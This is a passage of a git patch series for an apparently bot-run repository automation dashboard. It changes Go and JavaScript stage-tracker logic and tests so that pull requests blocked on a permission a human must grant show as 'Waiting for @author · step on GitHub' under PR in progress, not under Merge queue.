ham-stalled)?">[^<]*<\/span>/.test(row) && !/ assert.ok(!/ham-track-verdict"><svg [^>]*>[\s\S]*?<\/svg>(?:CI|Review) /.test(changes), 'settled verdicts carry no words beside the glyph: ' + changes); assert.ok(/<li class="ham-seg active ham-settled-current ham-remediation-remediating detoured"/.test(busy) && busy.includes('Remediating Β· scanner Β· 4m'), 'the stage chevron is settled-current with its words: ' + busy); } +// hivecommons/hive#16524: 085 under hive:unauthorized (a maintainer must +// rerun shared CI on GitHub), CI unknown, review findings open. The ask is +// the person's move ON THE PR, not a merge matter: the chevron lights PR in +// progress with "Waiting for @clubanderson Β· rerun shared ci on GitHub" +// and the person icon; the Merge queue column stays empty. A merge-ready +// twin (approved + CI green) or a queued one keeps the gate. +{ + const seen = new Date(now - 60000).toISOString(); + const head = '7879a51'; + const ask = { question: "The hive's GitHub App may not rerun shared ci here. A maintainer has to do that step on GitHub.", asked_by: 'GitHub permissions', since: seen, blocker_reason: 'unauthorized:rerun-shared-ci', options: [{ action: 'decide:delegate', label: 'Let hive decide', enabled: false }] }; + const shape = (extra) => Object.assign({ repo: 'hivecommons/hive', number: 16524, kind: 'pr', stage: 85, head, author: 'clubanderson', author_kind: 'human', modifiers: ['unauthorized'], + reason: 'unauthorized:rerun-shared-ci', unauthorized_step: 'rerun shared ci', unauthorized: "The hive's GitHub App lacks the permission to rerun shared ci, so only a person can take that step.", + caption: 'Waiting for a maintainer Β· rerun shared ci on GitHub β€” the hive\'s GitHub App is not permitted to rerun shared ci; a maintainer must', decision_needed: ask, + human_attention: { number: 16524, kind: 'pr', head, reason: ask.question, asked_by: 'GitHub permissions' }, + ci_activity: { head, state: 'unknown', caption: 'CI unknown Β· no check results observed for this head yet', checks_passed: 34, checks_total: 42, checks_failed: 1, source: 'github-graphql-cache+required-branch', observed_at: seen }, + review_activity: { head, state: 'changes_requested', caption: 'Review findings Β· awaiting author', perspectives_done: 5, perspectives_total: 5, source: 'verified-review-bundle', observed_at: seen, since: seen } }, extra || {}); + const rerun = stageTrackerRowHtml(shape(), stages, ctx); + assert.strictEqual(stageTrackerAnchor(85, stages, 'pr', shape()), 30, 'the ask is the person\'s move on the PR: PR in progress'); + assert.deepStrictEqual(segStates(rerun), [D, D, D, 'active detoured', T, T, 'todo cap'], 'PR in progress lit, Merge queue empty: ' + strip(rerun)); + assert.ok(rerun.includes('Waiting for @clubanderson Β· rerun shared ci on GitHub'), 'the chevron names the person and the step: ' + strip(rerun)); + assert.ok(!/<li class="ham-seg active[^"]*"[^>]*>[\s\S]*?Awaiting human/.test(strip(rerun)), 'no "Awaiting human" chevron: ' + strip(rerun)); + const litSeg = /<li class="ham-seg active detoured"[^>]*>([\s\S]*?)<\/li>/.exec(strip(rerun)); + assert.ok(litSeg && litSeg[1].includes('ham-actor-ico'), 'the person icon stays on the lit chevron: ' + strip(rerun)); + const mergeSeg = Array.from(strip(rerun).matchAll(/<li class="ham-seg ([^"]*)"[^>]*>([\s\S]*?)<\/li>/g)).filter(m => !m[1].includes('ham-activity-track') && !m[1].includes('ham-head'))[4]; + assert.ok(mergeSeg && mergeSeg[1] === 'todo' && !/ham-chevron-copy/.test(mergeSeg[2]), 'the merge-queue chevron carries no words: ' + mergeSeg[0]); + assert.strictEqual(litChevrons(strip(rerun)), 1, 'one lit chevron: ' + strip(rerun)); + // Merge-ready (approved + CI green) or queued twins are merge matters: the gate keeps them. + const ready = shape({ ci_activity: { head, state: 'passing', caption: 'CI green', checks_passed: 42, checks_total: 42, source: 'checks', observed_at: seen }, review_activity: { head, state: 'approved', caption: 'Review approved', perspectives_done: 5, perspectives_total: 5, source: 'verified-review-bundle', observed_at: seen } }); + assert.strictEqual(stageTrackerAnchor(85, stages, 'pr', ready), 80, 'merge-ready 085 keeps the gate'); + assert.strictEqual(stageTrackerAnchor(85, stages, 'pr', shape({ merge_train: { id: 'v5#1', state: 'queued-behind', front: 1, position: 2, size: 2 } })), 80, 'a train member keeps the gate'); + // A bare 085 decision (no track evidence, no step) still decides at the gate (#14821). + assert.strictEqual(stageTrackerAnchor(85, stages, 'pr', { kind: 'pr', stage: 85, caption: 'decision requested' }), 80); + // A nested PR under its issue follows the same column. + const nested = stageTrackerRowHtml({ repo: 'hivecommons/hive', number: 16500, kind: 'issue', stage: 40, linked_prs: [shape()] }, stages, ctx); + assert.ok(nested.includes('Waiting for @clubanderson Β· rerun shared ci on GitHub'), 'nested PR carries the word: ' + nested); +} // Merged: the lit cap is the only chevron with hover text. row = stageTrackerRowHtml({ repo: 'acme/console', number: 106, kind: 'pr', stage: 110 }, stages, ctx); assert.ok(/<li class="ham-seg active cap merged" title="Merged β€” [^"]*" aria-current="step">/.test(row) && titled(strip(row)).length === 1, row); diff --git a/src/pkg/dashboard/stage_tracker_unauthorized_test.go b/src/pkg/dashboard/stage_tracker_unauthorized_test.go index b44913ccfc..2fd5d63a1f 100644 --- a/src/pkg/dashboard/stage_tracker_unauthorized_test.go +++ b/src/pkg/dashboard/stage_tracker_unauthorized_test.go @@ -66,7 +66,7 @@ func TestStageTrackerUnauthorizedPayload(t *testing.T) { if it.Stage != 85 || !hasMod(it, modUnauthorized) || it.UnauthorizedStep != "approve workflow runs" || !strings.Contains(it.Unauthorized, "`actions: write`") { t.Fatalf("row = stage %d mods %v step %q tip %q", it.Stage, it.Modifiers, it.UnauthorizedStep, it.Unauthorized) } - if !strings.Contains(it.Caption, "not permitted to approve workflow runs") || it.Actor != "maintainer" { + if !strings.HasPrefix(it.Caption, "Waiting for a maintainer Β· approve workflow runs on GitHub") || !strings.Contains(it.Caption, "not permitted to approve workflow runs") || it.Actor != "maintainer" { t.Fatalf("caption %q actor %q", it.Caption, it.Actor) } raw, err := json.Marshal(it) @@ -82,7 +82,7 @@ func TestStageTrackerUnauthorizedPayload(t *testing.T) { } // The frontend: the pill is muted and explains itself on hover, it counts -// under Needs attention, and the 085 chevron reads "Awaiting human: <step>". +// under Needs attention, and the 085 chevron reads "Waiting for @who Β· <step> on GitHub". func TestStageTrackerUnauthorizedJS(t *testing.T) { html := indexHTML(t) for _, want := range []string{ @@ -129,7 +129,9 @@ assert.ok(stageTrackerNeedsAttention(item)); assert.ok(stageTrackerChipsHtml({ stage: 85, modifiers: ['needs-decision', 'unauthorized'] }).includes('>unauthorized +1<')); assert.ok(stageTrackerChipsHtml({ stage: 10, modifiers: ['unauthorized', 'hold'] }).includes('>hold +1<')); // The 085 chevron names the human step owed; without a step the generic word stays. -assert.strictEqual(stageTrackerUnauthorizedWord(item), 'Awaiting human: approve workflow runs'); +assert.strictEqual(stageTrackerUnauthorizedWord(item), 'Waiting for a maintainer Β· approve workflow runs on GitHub'); +assert.strictEqual(stageTrackerUnauthorizedWord(Object.assign({ author: 'clubanderson', author_kind: 'human' }, item)), 'Waiting for @clubanderson Β· approve workflow runs on GitHub'); +assert.strictEqual(stageTrackerUnauthorizedWord(Object.assign({ author: 'hive-bot', author_kind: 'hive' }, item)), 'Waiting for a maintainer Β· approve workflow runs on GitHub'); assert.strictEqual(stageTrackerUnauthorizedWord({ stage: 85, modifiers: ['unauthorized'] }), ''); assert.strictEqual(STAGE_TRACKER_HUMAN_GATED, 85); ` diff --git a/src/pkg/dashboard/stage_tracker_vocabulary.go b/src/pkg/dashboard/stage_tracker_vocabulary.go index 4524795e2c..4d33e60cff 100644 --- a/src/pkg/dashboard/stage_tracker_vocabulary.go +++ b/src/pkg/dashboard/stage_tracker_vocabulary.go @@ -88,9 +88,57 @@ func stageTrackerItemColumn(it *StageTrackerItem) int { return trackerColumnMergeGate } } + if stageTrackerPersonActsOnPR(it) { + return trackerColumnPR + } return stageTrackerColumn(st) } +// stageTrackerPersonActsOnPR: a PR parked at 085 because a person has to +// act ON THE PR β€” rerun CI, approve workflow runs, resolve a permission +// (reason `unauthorized:<step>`), or answer review findings / red checks +// still open on its head β€” is not queued, merging or merge-ready, so its +// chevron lights PR in progress, never Merge queue. The Merge queue +// column is only for rows actually queued / merging / merged, or a +// merge-ready PR (review approved, CI green) parked on a merge decision. +// A bare 085 with no track evidence keeps the gate: the person decides +// there (hive#14821). Hive's own #16524 read "Awaiting human: rerun +// shared ci" under Merge queue with CI unknown and review findings open. +func stageTrackerPersonActsOnPR(it *StageTrackerItem) bool { + if it == nil || it.Kind != "pr" || stageByNumber(it.Stage) != stagelabels.NeedsDecision { + return false + } + if mg := it.MergeGate; mg != nil && mg.State != "" { + return false + } + if mt := it.MergeTrain; mt != nil && mt.State != "" { + return false + } + if step, _ := stageTrackerUnauthorized(it.Reason); step != "" { + return !stageTrackerMergeReadyEvidence(it) + } + return stageTrackerNotMergeReadyEvidence(it) +} + +func stageTrackerActivityOnHead(it *StageTrackerItem, a *StageTrackerActivity) bool { + return a != nil && (a.Head == "" || it.Head == "" || strings.EqualFold(a.Head, it.Head)) +} + +// stageTrackerMergeReadyEvidence: review approved and CI green on the +// row's current head β€” the only state in which a human-gated PR may sit +// in the Merge queue column. +func stageTrackerMergeReadyEvidence(it *StageTrackerItem) bool { + return stageTrackerActivityOnHead(it, it.ReviewActivity) && it.ReviewActivity.State == "approved" && + stageTrackerActivityOnHead(it, it.CIActivity) && it.CIActivity.State == "passing" +} + +// stageTrackerNotMergeReadyEvidence: a track on the current head says the +// PR is short of merge-ready (review not approved, CI not green). +func stageTrackerNotMergeReadyEvidence(it *StageTrackerItem) bool { + return (stageTrackerActivityOnHead(it, it.ReviewActivity) && it.ReviewActivity.State != "approved") || + (stageTrackerActivityOnHead(it, it.CIActivity) && it.CIActivity.State != "passing") +} + // stageTrackerStagePhrase is the stage as a lowercase clause for the // middle of a sentence ("its PR is reviewed Β· waiting for merge // admission"), from the same words the chevron shows. diff --git a/src/pkg/dashboard/static-src/js/tracker-row-anchor.js b/src/pkg/dashboard/static-src/js/tracker-row-anchor.js index 807d3c153e..f91cfd897b 100644 --- a/src/pkg/dashboard/static-src/js/tracker-row-anchor.js +++ b/src/pkg/dashboard/static-src/js/tracker-row-anchor.js @@ -44,6 +44,10 @@ // sits at 050/070, and hive's own #15400 ("1st") lit CI / Review // next to its 2nd-place sibling in Merge queue (hivecommons/hive#15395). if (item && item.merge_train && item.merge_train.state && cur > STAGE_TRACKER_PR_COLUMN) return STAGE_TRACKER_MERGE_COLUMN; + // A person owes a step on the PR itself (085 under hive:unauthorized, + // not merge-ready): PR in progress, with the merge-queue chevron + // empty (hivecommons/hive#16524). + if (kind === 'pr' && typeof stageTrackerPersonActsOnPR === 'function' && stageTrackerPersonActsOnPR(item)) return STAGE_TRACKER_PR_COLUMN; if (cur === STAGE_TRACKER_ISSUE_NEEDS_DECISION || cur === STAGE_TRACKER_TRIAGE_NEEDED || cur === STAGE_TRACKER_POSSIBLY_EXISTS) return STAGE_TRACKER_ISSUE_DECISION_COLUMN; if (cur === STAGE_TRACKER_NEEDS_DECISION && kind === 'issue') return STAGE_TRACKER_ISSUE_DECISION_COLUMN; if (STAGE_TRACKER_PATH.indexOf(cur) >= 0) return cur; diff --git a/src/pkg/dashboard/static-src/js/tracker-row-layout.js b/src/pkg/dashboard/static-src/js/tracker-row-layout.js index 5eddda2932..58c86ab6f9 100644 --- a/src/pkg/dashboard/static-src/js/tracker-row-layout.js +++ b/src/pkg/dashboard/static-src/js/tracker-row-layout.js @@ -73,7 +73,7 @@ ci_activity: lp.ci_activity || null, review_activity: lp.review_activity || null, code_activity: lp.code_activity || null, display_column: lp.display_column || 0, state: lp.state || '', terminal_merge: !!lp.terminal_merge, merged_by: lp.merged_by || '', stage: lp.stage || 0, stage_since: lp.stage_since || '', stage_slug: lp.stage_slug || '', modifiers: lp.modifiers || [], deferred_modifiers: lp.deferred_modifiers || [], caption: lp.caption || '', reason: lp.reason || '', preparation: lp.preparation || null, human_attention: lp.human_attention || null, - human_approver: lp.human_approver || '', manual_merge: !!lp.manual_merge, human_merge_reason: lp.human_merge_reason || '', human_merge_reason_text: lp.human_merge_reason_text || '', sentinel_alert: !!lp.sentinel_alert, sentinel_reason: lp.sentinel_reason || '', sentinel_details: lp.sentinel_details || [], sentinel_notice: !!lp.sentinel_notice, head: lp.head || '', base_ref: lp.base_ref || '', decision_needed: lp.decision_needed || null, + human_approver: lp.human_approver || '', manual_merge: !!lp.manual_merge, human_merge_reason: lp.human_merge_reason || '', human_merge_reason_text: lp.human_merge_reason_text || '', sentinel_alert: !!lp.sentinel_alert, sentinel_reason: lp.sentinel_reason || '', sentinel_details: lp.sentinel_details || [], sentinel_notice: !!lp.sentinel_notice, head: lp.head || '', base_ref: lp.base_ref || '', decision_needed: lp.decision_needed || null, unauthorized_step: lp.unauthorized_step || '', adoption: lp.adoption || null, takeover: lp.takeover || null, superseded: !!lp.superseded, supersedes: lp.supersedes || null, parent: Number(issue.number) || 0, siblings: open.map(x => Number(x.number) || 0), last_operator_action: lp.last_operator_action || null, operator_action_count: lp.operator_action_count || 0, hold: lp.hold || null, stage_actor: lp.stage_actor || null, claimant: lp.claimant || null, presence: lp.presence || null, rework: lp.rework || null, push: lp.push || null, merge_gate: lp.merge_gate || null, merge_train: lp.merge_train || null, left_train: lp.left_train || null, overlap: lp.overlap || null, decided: lp.decided || null, adopted_by: Number(lp.adopted_by) || 0, adopted_by_state: lp.adopted_by_state || '', adopted_from: lp.adopted_from || null, lineage: lp.lineage || null, state: lp.state || '', superseded_by: Number(lp.superseded_by) || 0 }; diff --git a/src/pkg/dashboard/static-src/js/tracker-row-render.js b/src/pkg/dashboard/static-src/js/tracker-row-render.js index 5fd920f7a2..6c3b367f0c 100644 --- a/src/pkg/dashboard/static-src/js/tracker-row-render.js +++ b/src/pkg/dashboard/static-src/js/tracker-row-render.js @@ -107,7 +107,7 @@ shown = Object.assign({}, item, { via_pr: true, stage: stageTrackerLeadStage(lp), stage_since: lp.stage_since || item.stage_since, modifiers: lp.modifiers || item.modifiers, deferred_modifiers: lp.deferred_modifiers || item.deferred_modifiers || [], caption: lp.caption || item.caption, reason: lp.reason || item.reason, preparation: lp.preparation || null, ci_activity: lp.ci_activity || null, review_activity: lp.review_activity || null, code_activity: lp.code_activity || null, display_column: lp.display_column || 0, terminal_merge: !!lp.terminal_merge, merged_by: lp.merged_by || '', - human_approver: lp.human_approver || '', manual_merge: !!lp.manual_merge, human_merge_reason: lp.human_merge_reason || '', human_merge_reason_text: lp.human_merge_reason_text || '', sentinel_alert: !!lp.sentinel_alert, sentinel_reason: lp.sentinel_reason || '', sentinel_details: lp.sentinel_details || [], sentinel_notice: !!lp.sentinel_notice, head: lp.head || '', decision_needed: lp.decision_needed || null, hold: lp.hold || null, adoption: lp.adoption || null, stage_actor: lp.stage_actor || item.stage_actor || null, claimant: lp.claimant || null, presence: lp.presence || null, rework: lp.rework || null, push: lp.push || null, merge_gate: lp.merge_gate || null, merge_train: lp.merge_train || null, left_train: lp.left_train || null, overlap: lp.overlap || null, decided: lp.decided || item.decided || null }); + human_approver: lp.human_approver || '', manual_merge: !!lp.manual_merge, human_merge_reason: lp.human_merge_reason || '', human_merge_reason_text: lp.human_merge_reason_text || '', sentinel_alert: !!lp.sentinel_alert, sentinel_reason: lp.sentinel_reason || '', sentinel_details: lp.sentinel_details || [], sentinel_notice: !!lp.sentinel_notice, head: lp.head || '', decision_needed: lp.decision_needed || null, unauthorized_step: lp.unauthorized_step || '', hold: lp.hold || null, adoption: lp.adoption || null, stage_actor: lp.stage_actor || item.stage_actor || null, claimant: lp.claimant || null, presence: lp.presence || null, rework: lp.rework || null, push: lp.push || null, merge_gate: lp.merge_gate || null, merge_train: lp.merge_train || null, left_train: lp.left_train || null, overlap: lp.overlap || null, decided: lp.decided || item.decided || null }); } else if (linked.length) { // Several covering PRs: the issue strip ends at Claimed, all passed // and nothing lit; one sub-row per PR carries the live chevron. diff --git a/src/pkg/dashboard/static-src/js/tracker-words-core.js b/src/pkg/dashboard/static-src/js/tracker-words-core.js index aa6e6a4372..f4eb979adf 100644 --- a/src/pkg/dashboard/static-src/js/tracker-words-core.js +++ b/src/pkg/dashboard/static-src/js/tracker-words-core.js @@ -40,10 +40,44 @@ if (state === 'resolving-conflicts') return 'Adopting Β· fixer resolving conflicts'; return 'Adopted β†’ #' + by; } - const STAGE_TRACKER_UNAUTHORIZED_WORD = 'Awaiting human'; + // "Waiting for @clubanderson Β· rerun shared ci on GitHub": the person + // owed the step is named when the author is one (a hive / bot / clanker + // author cannot grant the permission; a maintainer is asked instead). + const STAGE_TRACKER_UNAUTHORIZED_WORD = 'Waiting for'; + const STAGE_TRACKER_UNAUTHORIZED_WHERE = 'on GitHub'; + function stageTrackerUnauthorizedWho(item) { + // An issue row drawn on its one covering PR names that PR's author. + const linked = item && item.via_pr && Array.isArray(item.linked_prs) ? item.linked_prs.filter(lp => lp && String(lp.unauthorized_step || '').trim()) : []; + const src = linked.length === 1 ? linked[0] : item; + const author = String((src && src.author) || '').trim().replace(/^@/, ''); + const kind = String((src && src.author_kind) || ''); + if (author && kind !== 'hive' && kind !== 'bot' && kind !== 'clanker') return '@' + author; + return 'a maintainer'; + } function stageTrackerUnauthorizedWord(item) { const step = String((item && item.unauthorized_step) || '').trim(); - return step ? STAGE_TRACKER_UNAUTHORIZED_WORD + ': ' + step : ''; + return step ? STAGE_TRACKER_UNAUTHORIZED_WORD + ' ' + stageTrackerUnauthorizedWho(item) + ' Β· ' + step + ' ' + STAGE_TRACKER_UNAUTHORIZED_WHERE : ''; + } + // A PR parked at 085 because a person has to act ON THE PR (rerun CI, + // approve workflow runs, resolve a permission, answer review findings + // or red checks still open on its head) is not queued, merging or + // merge-ready: it lights PR in progress, never Merge queue. Merge + // queue is only for rows actually queued / merging / merged, or a + // merge-ready PR (review approved, CI green on this head) parked on a + // merge decision. A bare 085 with no track evidence keeps the gate: + // the person decides there (hive#14821). Hive's own #16524 read + // "Awaiting human: rerun shared ci" under Merge queue with CI unknown + // and review findings open. Mirrors stageTrackerPersonActsOnPR in Go. + function stageTrackerPersonActsOnPR(item) { + if (!item || (item.via_pr ? 'pr' : item.kind) !== 'pr' || Number(item.stage) !== STAGE_TRACKER_HUMAN_GATED) return false; + if (item.merge_gate && item.merge_gate.state) return false; + if (item.merge_train && item.merge_train.state) return false; + const onHead = a => !!a && (!a.head || !item.head || String(a.head) === String(item.head)); + const review = onHead(item.review_activity) ? item.review_activity : null; + const ci = onHead(item.ci_activity) ? item.ci_activity : null; + const mergeReady = !!(review && review.state === 'approved' && ci && ci.state === 'passing'); + if (String(item.unauthorized_step || '').trim()) return !mergeReady; + return !!((review && review.state !== 'approved') || (ci && ci.state !== 'passing')); } // A parked issue with a structured blocker (item.blocker, #15099) reads // "Blocked Β· App lacks workflows permission", never "Needs human diff --git a/src/pkg/dashboard/static/index.html b/src/pkg/dashboard/static/index.html index dee85584f7..aa350a10b5 100644 --- a/src/pkg/dashboard/static/index.html +++ b/src/pkg/dashboard/static/index.html @@ -15755,10 +15755,44 @@ <h3 class="faq-group-title">Where to get help</h3> if (state === 'resolving-conflicts') return 'Adopting Β· fixer resolving conflicts'; return 'Adopted β†’ #' + by; } - const STAGE_TRACKER_UNAUTHORIZED_WORD = 'Awaiting human'; + // "Waiting for @clubanderson Β· rerun shared ci on GitHub": the person + // owed the step is named when the author is one (a hive / bot / clanker + // author cannot grant the permission; a maintainer is asked instead). + const STAGE_TRACKER_UNAUTHORIZED_WORD = 'Waiting for'; + const STAGE_TRACKER_UNAUTHORIZED_WHERE = 'on GitHub'; + function stageTrackerUnauthorizedWho(item) { + // An issue row drawn on its one covering PR names that PR's author. + const linked = item && item.via_pr && Array.isArray(item.linked_prs) ? item.linked_prs.filter(lp => lp && String(lp.unauthorized_step || '').trim()) : []; + const src = linked.length === 1 ? linked[0] : item; + const author = String((src && src.author) || '').trim().replace(/^@/, ''); + const kind = String((src && src.author_kind) || ''); + if (author && kind !== 'hive' && kind !== 'bot' && kind !== 'clanker') return '@' + author; + return 'a maintainer'; + } function stageTrackerUnauthorizedWord(item) { const step = String((item && item.unauthorized_step) || '').trim(); - return step ? STAGE_TRACKER_UNAUTHORIZED_WORD + ': ' + step : ''; + return step ? STAGE_TRACKER_UNAUTHORIZED_WORD + ' ' + stageTrackerUnauthorizedWho(item) + ' Β· ' + step + ' ' + STAGE_TRACKER_UNAUTHORIZED_WHERE : ''; + } + // A PR parked at 085 because a person has to act ON THE PR (rerun CI, + // approve workflow runs, resolve a permission, answer review findings + // or red checks still open on its head) is not queued, merging or + // merge-ready: it lights PR in progress, never Merge queue. Merge + // queue is only for rows actually queued / merging / merged, or a + // merge-ready PR (review approved, CI green on this head) parked on a + // merge decision. A bare 085 with no track evidence keeps the gate: + // the person decides there (hive#14821). Hive's own #16524 read + // "Awaiting human: rerun shared ci" under Merge queue with CI unknown + // and review findings open. Mirrors stageTrackerPersonActsOnPR in Go. + function stageTrackerPersonActsOnPR(item) { + if (!item || (item.via_pr ? 'pr' : item.kind) !== 'pr' || Number(item.stage) !== STAGE_TRACKER_HUMAN_GATED) return false; + if (item.merge_gate && item.merge_gate.state) return false; + if (item.merge_train && item.merge_train.state) return false; + const onHead = a => !!a && (!a.head || !item.head || String(a.head) === String(item.head)); + const review = onHead(item.review_activity) ? item.review_activity : null; + const ci = onHead(item.ci_activity) ? item.ci_activity : null; + const mergeReady = !!(review && review.state === 'approved' && ci && ci.state === 'passing'); + if (String(item.unauthorized_step || '').trim()) return !mergeReady; + return !!((review && review.state !== 'approved') || (ci && ci.state !== 'passing')); } // A parked issue with a structured blocker (item.blocker, #15099) reads // "Blocked Β· App lacks workflows permission", never "Needs human @@ -17741,6 +17775,10 @@ <h3 class="faq-group-title">Where to get help</h3> // sits at 050/070, and hive's own #15400 ("1st") lit CI / Review // next to its 2nd-place sibling in Merge queue (hivecommons/hive#15395). if (item && item.merge_train && item.merge_train.state && cur > STAGE_TRACKER_PR_COLUMN) return STAGE_TRACKER_MERGE_COLUMN; + // A person owes a step on the PR itself (085 under hive:unauthorized, + // not merge-ready): PR in progress, with the merge-queue chevron + // empty (hivecommons/hive#16524). + if (kind === 'pr' && typeof stageTrackerPersonActsOnPR === 'function' && stageTrackerPersonActsOnPR(item)) return STAGE_TRACKER_PR_COLUMN; if (cur === STAGE_TRACKER_ISSUE_NEEDS_DECISION || cur === STAGE_TRACKER_TRIAGE_NEEDED || cur === STAGE_TRACKER_POSSIBLY_EXISTS) return STAGE_TRACKER_ISSUE_DECISION_COLUMN; if (cur === STAGE_TRACKER_NEEDS_DECISION && kind === 'issue') return STAGE_TRACKER_ISSUE_DECISION_COLUMN; if (STAGE_TRACKER_PATH.indexOf(cur) >= 0) return cur; @@ -19151,7 +19189,7 @@ <h3 class="faq-group-title">Where to get help</h3> ci_activity: lp.ci_activity || null, review_activity: lp.review_activity || null, code_activity: lp.code_activity || null, display_column: lp.display_column || 0, state: lp.state || '', terminal_merge: !!lp.terminal_merge, merged_by: lp.merged_by || '', stage: lp.stage || 0, stage_since: lp.stage_since || '', stage_slug: lp.stage_slug || '', modifiers: lp.modifiers || [], deferred_modifiers: lp.deferred_modifiers || [], caption: lp.caption || '', reason: lp.reason || '', preparation: lp.preparation || null, human_attention: lp.human_attention || null, - human_approver: lp.human_approver || '', manual_merge: !!lp.manual_merge, human_merge_reason: lp.human_merge_reason || '', human_merge_reason_text: lp.human_merge_reason_text || '', sentinel_alert: !!lp.sentinel_alert, sentinel_reason: lp.sentinel_reason || '', sentinel_details: lp.sentinel_details || [], sentinel_notice: !!lp.sentinel_notice, head: lp.head || '', base_ref: lp.base_ref || '', decision_needed: lp.decision_needed || null, + human_approver: lp.human_approver || '', manual_merge: !!lp.manual_merge, human_merge_reason: lp.human_merge_reason || '', human_merge_reason_text: lp.human_merge_reason_text || '', sentinel_alert: !!lp.sentinel_alert, sentinel_reason: lp.sentinel_reason || '', sentinel_details: lp.sentinel_details || [], sentinel_notice: !!lp.sentinel_notice, head: lp.head || '', base_ref: lp.base_ref || '', decision_needed: lp.decision_needed || null, unauthorized_step: lp.unauthorized_step || '', adoption: lp.adoption || null, takeover: lp.takeover || null, superseded: !!lp.superseded, supersedes: lp.supersedes || null, parent: Number(issue.number) || 0, siblings: open.map(x => Number(x.number) || 0), last_operator_action: lp.last_operator_action || null, operator_action_count: lp.operator_action_count || 0, hold: lp.hold || null, stage_actor: lp.stage_actor || null, claimant: lp.claimant || null, presence: lp.presence || null, rework: lp.rework || null, push: lp.push || null, merge_gate: lp.merge_gate || null, merge_train: lp.merge_train || null, left_train: lp.left_train || null, overlap: lp.overlap || null, decided: lp.decided || null, adopted_by: Number(lp.adopted_by) || 0, adopted_by_state: lp.adopted_by_state || '', adopted_from: lp.adopted_from || null, lineage: lp.lineage || null, state: lp.state || '', superseded_by: Number(lp.superseded_by) || 0 }; @@ -19581,7 +19619,7 @@ <h3 class="faq-group-title">Where to get help</h3> shown = Object.assign({}, item, { via_pr: true, stage: stageTrackerLeadStage(lp), stage_since: lp.stage_since || item.stage_since, modifiers: lp.modifiers || item.modifiers, deferred_modifiers: lp.deferred_modifiers || item.deferred_modifiers || [], caption: lp.caption || item.caption, reason: lp.reason || item.reason, preparation: lp.preparation || null, ci_activity: lp.ci_activity || null, review_activity: lp.review_activity || null, code_activity: lp.code_activity || null, display_column: lp.display_column || 0, terminal_merge: !!lp.terminal_merge, merged_by: lp.merged_by || '', - human_approver: lp.human_approver || '', manual_merge: !!lp.manual_merge, human_merge_reason: lp.human_merge_reason || '', human_merge_reason_text: lp.human_merge_reason_text || '', sentinel_alert: !!lp.sentinel_alert, sentinel_reason: lp.sentinel_reason || '', sentinel_details: lp.sentinel_details || [], sentinel_notice: !!lp.sentinel_notice, head: lp.head || '', decision_needed: lp.decision_needed || null, hold: lp.hold || null, adoption: lp.adoption || null, stage_actor: lp.stage_actor || item.stage_actor || null, claimant: lp.claimant || null, presence: lp.presence || null, rework: lp.rework || null, push: lp.push || null, merge_gate: lp.merge_gate || null, merge_train: lp.merge_train || null, left_train: lp.left_train || null, overlap: lp.overlap || null, decided: lp.decided || item.decided || null }); + human_approver: lp.human_approver || '', manual_merge: !!lp.manual_merge, human_merge_reason: lp.human_merge_reason || '', human_merge_reason_text: lp.human_merge_reason_text || '', sentinel_alert: !!lp.sentinel_alert, sentinel_reason: lp.sentinel_reason || '', sentinel_details: lp.sentinel_details || [], sentinel_notice: !!lp.sentinel_notice, head: lp.head || '', decision_needed: lp.decision_needed || null, unauthorized_step: lp.unauthorized_step || '', hold: lp.hold || null, adoption: lp.adoption || null, stage_actor: lp.stage_actor || item.stage_actor || null, claimant: lp.claimant || null, presence: lp.presence || null, rework: lp.rework || null, push: lp.push || null, merge_gate: lp.merge_gate || null, merge_train: lp.merge_train || null, left_train: lp.left_train || null, overlap: lp.overlap || null, decided: lp.decided || item.decided || null }); } else if (linked.length) { // Several covering PRs: the issue strip ends at Claimed, all passed // and nothing lit; one sub-row per PR carries the live chevron. diff --git a/src/pkg/webassets/trackerrow/tracker-row-anchor.js b/src/pkg/webassets/trackerrow/tracker-row-anchor.js index 807d3c153e..f91cfd897b 100644 --- a/src/pkg/webassets/trackerrow/tracker-row-anchor.js +++ b/src/pkg/webassets/trackerrow/tracker-row-anchor.js @@ -44,6 +44,10 @@ // sits at 050/070, and hive's own #15400 ("1st") lit CI / Review // next to its 2nd-place sibling in Merge queue (hivecommons/hive#15395). if (item && item.merge_train && item.merge_train.state && cur > STAGE_TRACKER_PR_COLUMN) return STAGE_TRACKER_MERGE_COLUMN; + // A person owes a step on the PR itself (085 under hive:unauthorized, + // not merge-ready): PR in progress, with the merge-queue chevron + // empty (hivecommons/hive#16524). + if (kind === 'pr' && typeof stageTrackerPersonActsOnPR === 'function' && stageTrackerPersonActsOnPR(item)) return STAGE_TRACKER_PR_COLUMN; if (cur === STAGE_TRACKER_ISSUE_NEEDS_DECISION || cur === STAGE_TRACKER_TRIAGE_NEEDED || cur === STAGE_TRACKER_POSSIBLY_EXISTS) return STAGE_TRACKER_ISSUE_DECISION_COLUMN; if (cur === STAGE_TRACKER_NEEDS_DECISION && kind === 'issue') return STAGE_TRACKER_ISSUE_DECISION_COLUMN; if (STAGE_TRACKER_PATH.indexOf(cur) >= 0) return cur; diff --git a/src/pkg/webassets/trackerrow/trackerrow.go b/src/pkg/webassets/trackerrow/trackerrow.go index 9a0a5af04d..ecaf1aff3a 100644 --- a/src/pkg/webassets/trackerrow/trackerrow.go +++ b/src/pkg/webassets/trackerrow/trackerrow.go @@ -12,8 +12,8 @@ // The files are plain function declarations with no side effects. A host page // supplies what they call: the STAGE_TRACKER_* stage constants // (tracker-words-core.js and agent-now.js on the spoke) and esc(). The anchor -// calls stageTrackerUnderRepair and stageTrackerMergeRefusalFromRaw only when -// they are defined. +// calls stageTrackerUnderRepair, stageTrackerMergeRefusalFromRaw and +// stageTrackerPersonActsOnPR only when they are defined. package trackerrow import "embed" From b47b22fd55fe34ef6c26493a2f5167e8405b6c2f Mon Sep 17 00:00:00 2001 From: "hivecommons-hive[bot]" <280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Wed, 4 Nov 2026 13:56:18 +0000 Subject: [PATCH 72/87] fix(automerge): reuse stored re-author target before Issues.Get on retry passes (#16596) Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- changelog.d/fixed-16586.md | 1 + .../automerge_fixer_exhausted_test.go | 26 +++++++++++++++++++ .../automerge/automerge_stage_labels.go | 4 ++- .../automerge/automerge_stage_labels_test.go | 8 +++++- 4 files changed, 37 insertions(+), 2 deletions(-) create mode 100644 changelog.d/fixed-16586.md diff --git a/changelog.d/fixed-16586.md b/changelog.d/fixed-16586.md new file mode 100644 index 0000000000..d2254b76eb --- /dev/null +++ 